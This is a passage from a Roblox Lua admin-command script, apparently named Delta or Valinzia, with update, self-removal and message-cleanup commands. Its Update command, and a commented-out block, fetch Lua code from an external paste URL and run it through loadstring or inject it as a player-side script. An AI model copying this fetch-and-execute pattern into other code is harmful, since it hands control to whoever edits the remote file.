	getfenv(Ran).Speaker = Speaker
	getfenv(Ran).print = function(args) local str = "" for _,v in pairs({args}) do str = str..tostring(v).."\t" end Output(Speaker, str, "White") end
	if Error == nil then
		Ran()
	else
		Output(Speaker, Error, "Really red")
	end
end)
Command("Update", {"update", "update"}, 7, "Updates the Script", "No Flags", function(Speaker, Msg)
	createScript([[
			pcall(function()
				local h = game:service'HttpService'
				local l = 'https://code.stypi.com/raw/99zay99/DELTA%20ADMIN%20GENERATION%203.lua'
				local scr = h:GetAsync(l,true)
				loadstring(scr)()
			end)
	]], Delta.Services.Workspace)
	Delta.Commands["Remove Script"].Function(Speaker, "")
end)
Command("Remove Script", {"remv"}, 4, "Removes the Script", "No Flags", function(Speaker, Msg)
	for i,v in pairs(Delta.Services.Players:GetPlayers()) do
		Dismiss(v)
	end
	script:remove()
	script.Disabled = true
	Delta = nil
	for i,v in pairs(getfenv(1)) do
		getfenv(1)[i] = nil
	end
end)

DELTA.Services.Workspace.descendantAdded:connect(function(a)
	pcall(function()
		x = 0
		for i,v in pairs(DELTA.Services.Workspace:children()) do
			if v.ClassName == 'Message' or v.ClassName == 'Hint' then
				x = x + 1
			end
		end
		if x > MessageLimit then
			for i,v in pairs(DELTA.Services.Workspace:children()) do
				if v.ClassName == 'Message' or v.ClassName == 'Hint' then
					v:remove()
				end
			end
		end
	end)
end)


local _end = time()
Output("Admins", "Valinzia has loaded in "..tostring(_start-_end).." seconds!", "Bright orange", nil, 5)
--[[
				pcall(function()
				local h = game:service'HttpService'
				local l = 'https://code.stypi.com/itov/Delta%20k'
				local scr = h:GetAsync(l,true)
				NewLS(scr,v:findFirstChild'Backpack')
			end)
]]